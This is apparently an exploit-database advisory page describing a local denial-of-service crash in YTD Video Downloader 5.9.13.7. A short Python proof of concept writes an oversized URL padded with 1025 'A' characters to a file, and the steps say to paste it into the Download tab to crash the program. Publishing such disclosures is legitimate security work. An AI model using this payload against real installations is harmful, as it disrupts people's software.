YTD Video Downloader 5.9.13.7 - Denial of Service

2020.01.26

Nir Yehoshua (IL)

Risk: Low

Local: Yes

Remote: No

CVE: N/A

CWE: N/A

Title: YTD Video Downloader 5.9.13.7 - Denial of Service
Date: 2020-1-26
Author: Nir Yehoshua
Product: https://dl.youtubedownloadersite.com/installers/stub.php?ytdd
Tested on: Microsoft Windows 10 x64 [eng]


1. Run the following code on the environment:

buffer = "\x41" * 1025

https = 'https://www.'
com = '.com'
poc = https + buffer + com
file = open("payload.txt","w")
file.write(poc)
file.close()

2. Copy the content from "payload.txt".

3. Paste the content on the form in the "Download" tab.

4. Press the "Download" red button.

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

YTD Video Downloader 5.9.13.7 - Denial of Service

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.